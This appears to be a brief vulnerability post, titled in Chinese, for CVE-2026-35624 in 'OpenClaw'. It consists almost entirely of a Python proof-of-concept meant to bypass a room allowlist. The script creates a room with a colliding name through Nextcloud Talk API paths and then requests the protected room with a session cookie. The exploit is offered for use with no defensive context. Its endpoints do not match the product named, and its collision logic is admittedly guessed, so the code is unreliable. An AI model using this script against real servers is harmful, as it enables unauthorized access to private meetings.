CVE-2026-35624 OpenClaw 房间授权策略混淆漏洞

import requests def exploit_openclaw(target_url, session_cookie, target_room_name): """ PoC for CVE-2026-35624 Demonstrates bypassing allowlist via room name collision. """ headers = { "Cookie": f"session={session_cookie}" } # Step 1: Create a room with a colliding name # The exact collision logic depends on implementation (e.g., truncation, case insensitivity) collision_payload = { "roomType": "group", "roomName": target_room_name # Or a variation that triggers the collision } print("[*] Attempting to create colliding room...") create_resp = requests.post(f"{target_url}/ocs/v2.php/apps/spreed/api/v4/room", json=collision_payload, headers=headers) if create_resp.status_code == 200: print("[+] Room created successfully.") # Step 2: Attempt to access the protected resource using the policy confusion access_resp = requests.get(f"{target_url}/index.php/call/{target_room_name}", headers=headers) if access_resp.status_code == 200: print("[!] Successfully bypassed policy and accessed the room.") else: print("[-] Access denied.") else: print("[-] Failed to create room.") # Example usage # exploit_openclaw("https://example.com", "attacker_cookie", "Protected_Meeting")